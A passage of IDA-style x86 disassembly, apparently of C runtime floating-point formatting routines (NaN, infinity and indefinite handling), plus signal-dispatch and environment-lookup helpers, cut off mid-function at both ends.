		cmp	[ebp+var_4], eax
		jbe	short loc_4253C1
		cmp	[ebp+var_45], 5
		jl	short loc_4253B5
		inc	[ebp+var_45]


loc_4253B5:				; CODE XREF: sub_42501D+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_4253C4
; ---------------------------------------------------------------------------


loc_4253C1:				; CODE XREF: sub_42501D+38Dj
		mov	eax, [ebp+var_C]


loc_4253C4:				; CODE XREF: sub_42501D+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_425473


loc_4253CE:				; CODE XREF: sub_42501D+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4253DC
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_4253CE
; ---------------------------------------------------------------------------


loc_4253DC:				; CODE XREF: sub_42501D+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_424F56
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_4253FB
		neg	eax


loc_4253FB:				; CODE XREF: sub_42501D+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_425406
		add	eax, [ebp+arg_10]


loc_425406:				; CODE XREF: sub_42501D+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_42540E
		sub	eax, [ebp+arg_14]


loc_42540E:				; CODE XREF: sub_42501D+3ECj
		cmp	eax, 1450h
		jle	short loc_425445
		mov	[ebp+var_2C], 1


loc_42541C:				; CODE XREF: sub_42501D+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_425428:				; CODE XREF: sub_42501D+454j
					; sub_42501D+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_42548E
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_4254A3
; ---------------------------------------------------------------------------


loc_425445:				; CODE XREF: sub_42501D+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_425455
		mov	[ebp+var_30], 1
		jmp	short loc_42541C
; ---------------------------------------------------------------------------


loc_425455:				; CODE XREF: sub_42501D+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_425C06
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_425428
; ---------------------------------------------------------------------------


loc_425473:				; CODE XREF: sub_42501D+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_425428
; ---------------------------------------------------------------------------


loc_42547D:				; CODE XREF: sub_42501D+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_4254A3
; ---------------------------------------------------------------------------


loc_42548E:				; CODE XREF: sub_42501D+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_4254A3
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_4254A3:				; CODE XREF: sub_42501D+426j
					; sub_42501D+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_42501D	endp

; ---------------------------------------------------------------------------
off_4254BE	dd offset loc_425087	; DATA XREF: sub_42501D+63r
		dd offset loc_4250D6	; jump table for switch	statement
		dd offset loc_42512D
		dd offset loc_425157
		dd offset loc_4251B2
		dd offset loc_425229
		dd offset loc_42525F
		dd offset loc_4252A9
		dd offset loc_425288
		dd offset loc_42530D
		dd offset loc_4252F7
		dd offset loc_4252C3

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4254EE	proc near		; CODE XREF: sub_424449+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_425550
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_425554
; ---------------------------------------------------------------------------


loc_425550:				; CODE XREF: sub_4254EE+5Aj
		mov	byte ptr [ebx+2], 20h


loc_425554:				; CODE XREF: sub_4254EE+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_42557A
		test	edi, edi
		jnz	short loc_42557A
		cmp	[ebp+arg_0], edi
		jnz	short loc_42557A


loc_425565:				; CODE XREF: sub_4254EE+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_425778
; ---------------------------------------------------------------------------


loc_42557A:				; CODE XREF: sub_4254EE+6Cj
					; sub_4254EE+70j ...
		cmp	dx, si
		jnz	short loc_4255F9
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_425593
		cmp	[ebp+arg_0], 0
		jz	short loc_4255A2


loc_425593:				; CODE XREF: sub_4254EE+9Dj
		test	edi, 40000000h
		jnz	short loc_4255A2
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_4255E8
; ---------------------------------------------------------------------------


loc_4255A2:				; CODE XREF: sub_4254EE+A3j
					; sub_4254EE+ABj
		test	cx, cx
		jz	short loc_4255BC
		cmp	edi, 0C0000000h
		jnz	short loc_4255BC
		cmp	[ebp+arg_0], 0
		jnz	short loc_4255E3
		push	offset a1Ind	; "1#IND"
		jmp	short loc_4255CB
; ---------------------------------------------------------------------------


loc_4255BC:				; CODE XREF: sub_4254EE+B7j
					; sub_4254EE+BFj
		cmp	edi, eax
		jnz	short loc_4255E3
		cmp	[ebp+arg_0], 0
		jnz	short loc_4255E3
		push	offset a1Inf	; "1#INF"


loc_4255CB:				; CODE XREF: sub_4254EE+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41C550
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_4255DA:				; CODE XREF: sub_4254EE+109j
		and	[ebp+var_4], 0
		jmp	loc_425751
; ---------------------------------------------------------------------------


loc_4255E3:				; CODE XREF: sub_4254EE+C5j
					; sub_4254EE+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_4255E8:				; CODE XREF: sub_4254EE+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41C550
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_4255DA
; ---------------------------------------------------------------------------


loc_4255F9:				; CODE XREF: sub_4254EE+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425C06
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_42565A
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4259E6
		pop	ecx
		pop	ecx


loc_42565A:				; CODE XREF: sub_4254EE+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_425674
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_425677
		jmp	loc_425565
; ---------------------------------------------------------------------------


loc_425674:				; CODE XREF: sub_4254EE+173j
		mov	edi, [ebp+arg_C]


loc_425677:				; CODE XREF: sub_4254EE+17Fj
		cmp	edi, 15h
		jle	short loc_42567F
		push	15h
		pop	edi


loc_42567F:				; CODE XREF: sub_4254EE+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_425695:				; CODE XREF: sub_4254EE+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_424EFB
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_425695
		test	esi, esi
		jge	short loc_4256BF
		neg	esi
		and	esi, 0FFh
		jle	short loc_4256BF


loc_4256B2:				; CODE XREF: sub_4254EE+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_424F29
		dec	esi
		pop	ecx
		jnz	short loc_4256B2


loc_4256BF:				; CODE XREF: sub_4254EE+1B8j
					; sub_4254EE+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_42571C
		mov	[ebp+arg_C], ecx


loc_4256CF:				; CODE XREF: sub_4254EE+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_424EFB
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_424EFB
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_424E9D
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_424EFB
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_4256CF
		mov	eax, [ebp+arg_14]


loc_42571C:				; CODE XREF: sub_4254EE+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_425759


loc_425729:				; CODE XREF: sub_4254EE+248j
		cmp	eax, ecx
		jb	short loc_42573C
		cmp	byte ptr [eax],	39h
		jnz	short loc_425738
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_425729
; ---------------------------------------------------------------------------


loc_425738:				; CODE XREF: sub_4254EE+242j
		cmp	eax, ecx
		jnb	short loc_425740


loc_42573C:				; CODE XREF: sub_4254EE+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_425740:				; CODE XREF: sub_4254EE+24Cj
		inc	byte ptr [eax]


loc_425742:				; CODE XREF: sub_4254EE+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_425751:				; CODE XREF: sub_4254EE+F0j
		mov	eax, [ebp+var_4]


loc_425754:				; CODE XREF: sub_4254EE+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_425759:				; CODE XREF: sub_4254EE+239j
					; sub_4254EE+275j
		cmp	eax, ecx
		jb	short loc_425769
		cmp	byte ptr [eax],	30h
		jnz	short loc_425765
		dec	eax
		jmp	short loc_425759
; ---------------------------------------------------------------------------


loc_425765:				; CODE XREF: sub_4254EE+272j
		cmp	eax, ecx
		jnb	short loc_425742


loc_425769:				; CODE XREF: sub_4254EE+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_425778:				; CODE XREF: sub_4254EE+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_425754
sub_4254EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425781	proc near		; CODE XREF: sub_4223CC+225Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_4257E8
		dec	eax
		dec	eax
		jz	short loc_4257D9
		sub	eax, 4
		jz	short loc_4257D9
		sub	eax, 3
		jz	short loc_4257D9
		sub	eax, 4
		jz	short loc_4257CC
		sub	eax, 6
		jz	short loc_4257BF
		dec	eax
		jz	short loc_4257B2
		or	eax, 0FFFFFFFFh
		jmp	loc_4258AA
; ---------------------------------------------------------------------------


loc_4257B2:				; CODE XREF: sub_425781+27j
		mov	esi, dword_4E17F4
		mov	eax, offset dword_4E17F4
		jmp	short loc_4257F3
; ---------------------------------------------------------------------------


loc_4257BF:				; CODE XREF: sub_425781+24j
		mov	esi, dword_4E17F0
		mov	eax, offset dword_4E17F0
		jmp	short loc_4257F3
; ---------------------------------------------------------------------------


loc_4257CC:				; CODE XREF: sub_425781+1Fj
		mov	esi, dword_4E17F8
		mov	eax, offset dword_4E17F8
		jmp	short loc_4257F3
; ---------------------------------------------------------------------------


loc_4257D9:				; CODE XREF: sub_425781+10j
					; sub_425781+15j ...
		push	edi
		call	sub_4258AE
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_4257F3
; ---------------------------------------------------------------------------


loc_4257E8:				; CODE XREF: sub_425781+Cj
		mov	esi, dword_4E17EC
		mov	eax, offset dword_4E17EC


loc_4257F3:				; CODE XREF: sub_425781+3Cj
					; sub_425781+49j ...
		cmp	esi, 1
		jnz	short loc_4257FF
		xor	eax, eax
		jmp	loc_4258AA
; ---------------------------------------------------------------------------


loc_4257FF:				; CODE XREF: sub_425781+75j
		test	esi, esi
		jnz	short loc_42580A
		push	3
		call	sub_41BE72


loc_42580A:				; CODE XREF: sub_425781+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_42581C
		cmp	edi, 0Bh
		jz	short loc_42581C
		cmp	edi, 4
		jnz	short loc_425842


loc_42581C:				; CODE XREF: sub_425781+8Fj
					; sub_425781+94j
		mov	ebx, dword_4E15D0
		and	dword_4E15D0, 0
		cmp	edi, ecx
		jnz	short loc_425871
		mov	edx, dword_442E3C
		mov	dword_442E3C, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_425845
; ---------------------------------------------------------------------------


loc_425842:				; CODE XREF: sub_425781+99j
		mov	ebx, [ebp+arg_0]


loc_425845:				; CODE XREF: sub_425781+BFj
		cmp	edi, ecx
		jnz	short loc_425871
		mov	eax, dword_442E30
		mov	ecx, dword_442E34
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_425878
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:442DC0h[edx*4]


loc_425866:				; CODE XREF: sub_425781+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_425866
		jmp	short loc_425878
; ---------------------------------------------------------------------------


loc_425871:				; CODE XREF: sub_425781+AAj
					; sub_425781+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_425886


loc_425878:				; CODE XREF: sub_425781+D7j
					; sub_425781+EEj
		push	dword_442E3C
		push	8
		call	esi ; dword_4E17F4
		pop	ecx
		pop	ecx
		jmp	short loc_425894
; ---------------------------------------------------------------------------


loc_425886:				; CODE XREF: sub_425781+F5j
		push	edi
		call	esi ; dword_4E17F4
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_425894
		cmp	edi, 4
		jnz	short loc_4258A7


loc_425894:				; CODE XREF: sub_425781+103j
					; sub_425781+10Cj
		cmp	edi, 8
		mov	dword_4E15D0, ebx
		jnz	short loc_4258A7
		mov	eax, [ebp+arg_0]
		mov	dword_442E3C, eax


loc_4258A7:				; CODE XREF: sub_425781+111j
					; sub_425781+11Cj
		xor	eax, eax
		pop	ebx


loc_4258AA:				; CODE XREF: sub_425781+2Cj
					; sub_425781+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_425781	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4258AE	proc near		; CODE XREF: sub_425781+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_442E38
		cmp	dword_442DBC, edx
		push	esi
		mov	eax, offset dword_442DB8
		jz	short loc_4258DC
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:442DB8h[esi*4]


loc_4258D0:				; CODE XREF: sub_4258AE+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_4258DC
		cmp	[eax+4], edx
		jnz	short loc_4258D0


loc_4258DC:				; CODE XREF: sub_4258AE+16j
					; sub_4258AE+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:442DB8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_4258F0
		cmp	[eax+4], edx
		jz	short locret_4258F2


loc_4258F0:				; CODE XREF: sub_4258AE+3Bj
		xor	eax, eax

locret_4258F2:				; CODE XREF: sub_4258AE+40j
		retn
sub_4258AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_4258F3	proc near		; CODE XREF: sub_42464C+23p

arg_0		= dword	ptr  4

		cmp	dword_4E2B88, 0
		push	ebx
		push	esi
		mov	esi, dword_4E1520
		push	edi
		jz	short loc_42596A
		test	esi, esi
		jnz	short loc_425924
		cmp	dword_4E1528, esi
		jz	short loc_42596A
		call	sub_425CC1
		test	eax, eax
		jnz	short loc_42596A
		mov	esi, dword_4E1520
		test	esi, esi
		jz	short loc_42596A


loc_425924:				; CODE XREF: sub_4258F3+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_42596A
		push	ebx
		call	sub_41B890
		pop	ecx
		mov	edi, eax


loc_425935:				; CODE XREF: sub_4258F3+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42596A
		push	eax
		call	sub_41B890
		cmp	eax, edi
		pop	ecx
		jbe	short loc_42595D
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_42595D
		push	edi
		push	ebx
		push	eax
		call	sub_425C82
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425962


loc_42595D:				; CODE XREF: sub_4258F3+51j
					; sub_4258F3+59j
		add	esi, 4
		jmp	short loc_425935
; ---------------------------------------------------------------------------


loc_425962:				; CODE XREF: sub_4258F3+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_42596C
; ---------------------------------------------------------------------------


loc_42596A:				; CODE XREF: sub_4258F3+10j
					; sub_4258F3+1Cj ...
		xor	eax, eax


loc_42596C:				; CODE XREF: sub_4258F3+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4258F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_425970	proc near		; CODE XREF: .nsp0:00424DC1p
					; .nsp0:00424E0Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4E1920
		jnb	short loc_4259D7
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4E1820[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_4259D7
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_4259B0
		and	cl, 7Fh
		jmp	short loc_4259BD
; ---------------------------------------------------------------------------


loc_4259B0:				; CODE XREF: sub_425970+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_4259CB
		or	cl, 80h


loc_4259BD:				; CODE XREF: sub_425970+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4259CB:				; CODE XREF: sub_425970+48j
		mov	dword_4E14F8, 16h
		jmp	short loc_4259E1
; ---------------------------------------------------------------------------


loc_4259D7:				; CODE XREF: sub_425970+Bj
					; sub_425970+27j
		mov	dword_4E14F8, 9


loc_4259E1:				; CODE XREF: sub_425970+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_425970	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4259E6	proc near		; CODE XREF: sub_4254EE+165p
					; sub_425C06+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_425BE6
		cmp	cx, 7FFFh
		jnb	loc_425BE6
		cmp	dx, 0BFFDh
		ja	loc_425BE6
		cmp	dx, 3FBFh
		ja	short loc_425A4F
		xor	eax, eax
		jmp	short loc_425A89
; ---------------------------------------------------------------------------


loc_425A4F:				; CODE XREF: sub_4259E6+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_425A71
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_425A71
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_425A73
		cmp	[esi], eax
		jnz	short loc_425A73
		jmp	loc_425BE0
; ---------------------------------------------------------------------------


loc_425A71:				; CODE XREF: sub_4259E6+71j
					; sub_4259E6+79j
		xor	eax, eax


loc_425A73:				; CODE XREF: sub_4259E6+80j
					; sub_4259E6+84j
		cmp	cx, ax
		jnz	short loc_425A96
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_425A96
		cmp	[ebx+4], eax
		jnz	short loc_425A96
		cmp	[ebx], eax
		jnz	short loc_425A96


loc_425A89:				; CODE XREF: sub_4259E6+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_425C01
; ---------------------------------------------------------------------------


loc_425A96:				; CODE XREF: sub_4259E6+90j
					; sub_4259E6+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_425AA6:				; CODE XREF: sub_4259E6+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_425AFA
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_425AC2:				; CODE XREF: sub_4259E6+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_424E7C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425AED
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_425AED:				; CODE XREF: sub_4259E6+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_425AC2


loc_425AFA:				; CODE XREF: sub_4259E6+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_425AA6
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_425B3D


loc_425B18:				; CODE XREF: sub_4259E6+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_425B36
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_424EFB
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425B18


loc_425B36:				; CODE XREF: sub_4259E6+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425B76


loc_425B3D:				; CODE XREF: sub_4259E6+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_425B76
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_425B56:				; CODE XREF: sub_4259E6+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_425B5F
		inc	[ebp+var_14]


loc_425B5F:				; CODE XREF: sub_4259E6+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_424F29
		dec	ebx
		pop	ecx
		jnz	short loc_425B56
		cmp	[ebp+var_14], 0
		jz	short loc_425B76
		or	byte ptr [ebp+var_24], 1


loc_425B76:				; CODE XREF: sub_4259E6+155j
					; sub_4259E6+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_425B8D
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_425BC2


loc_425B8D:				; CODE XREF: sub_4259E6+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_425BBF
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_425BBA
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_425BB4
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_425BC2
; ---------------------------------------------------------------------------


loc_425BB4:				; CODE XREF: sub_4259E6+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_425BC2
; ---------------------------------------------------------------------------


loc_425BBA:				; CODE XREF: sub_4259E6+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_425BC2
; ---------------------------------------------------------------------------


loc_425BBF:				; CODE XREF: sub_4259E6+1ABj
		inc	[ebp+var_24+2]


loc_425BC2:				; CODE XREF: sub_4259E6+1A5j
					; sub_4259E6+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_425BE6
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_425BE0:				; CODE XREF: sub_4259E6+86j
		mov	[esi+0Ah], ax
		jmp	short loc_425C01
; ---------------------------------------------------------------------------


loc_425BE6:				; CODE XREF: sub_4259E6+42j
					; sub_4259E6+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_425C01:				; CODE XREF: sub_4259E6+ABj
					; sub_4259E6+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4259E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425C06	proc near		; CODE XREF: sub_42501D+440p
					; sub_4254EE+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_443038
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_425C7F
		jge	short loc_425C2E
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_443198
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_425C2E:				; CODE XREF: sub_425C06+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_425C39
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_425C39:				; CODE XREF: sub_425C06+2Bj
